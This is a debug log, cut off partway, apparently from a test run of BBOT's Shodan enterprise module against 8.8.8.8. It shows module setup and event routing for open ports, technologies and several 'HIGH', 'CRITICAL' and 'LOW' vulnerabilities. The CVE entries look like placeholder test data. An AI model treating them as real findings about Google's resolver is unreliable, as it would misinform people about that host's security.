(3.18.0) +2026-03-02 09:02:03,968 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:02:03,968 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:02:04,035 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:02:04,036 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:02:04,036 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:02:04,038 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:02:04,039 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:02:04,039 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:02:04,039 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:02:04,040 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:02:04,040 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:02:04,040 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:02:04,043 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:02:04,044 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:02:04,044 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:02:04,044 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:02:04,044 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:02:04,044 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:02:04,045 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:02:04,045 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:02:04,047 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:02:04,048 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:02:04,048 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:02:04,129 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_oygimtz0xw +2026-03-02 09:02:04,130 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:02:04,200 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:02:04,200 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:02:04,200 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:02:04,202 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-03-02 09:02:04,301 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check +2026-03-02 09:02:04,302 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-03-02 09:02:04,303 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,303 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,305 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:02:04,305 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:02:04,306 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 09:02:04,306 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,307 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:02:04,308 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:02:04,309 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:02:04,310 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:02:04,310 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:02:04,311 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:02:04,312 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:02:04,314 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,314 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 09:02:04,314 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,315 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,315 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-02 09:02:04,316 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-02 09:02:04,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-02 09:02:04,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 09:02:04,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,319 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 09:02:04,402 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:02:04,403 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:02:04,404 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-02 09:02:04,404 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 09:02:04,408 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,408 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,409 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,409 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,409 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,410 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,410 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,410 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,411 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,411 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,411 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:02:04,412 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:02:04,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,413 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:02:04,414 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,414 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,414 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,415 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:02:04,415 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:02:04,415 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,415 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,416 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) because precheck succeeded +2026-03-02 09:02:04,416 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,416 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,416 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:02:04,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:02:04,417 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:02:04,417 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,418 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,418 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,419 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:02:04,419 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:02:04,419 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:02:04,419 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:02:04,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,420 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,420 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:02:04,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:02:04,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,421 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:02:04,421 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded +2026-03-02 09:02:04,422 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,422 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,423 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:02:04,423 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,424 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,424 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,425 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded +2026-03-02 09:02:04,425 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:02:04,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:02:04,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:02:04,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:02:04,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,427 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,427 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,428 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:02:04,428 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) because precheck succeeded +2026-03-02 09:02:04,428 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,428 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:02:04,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 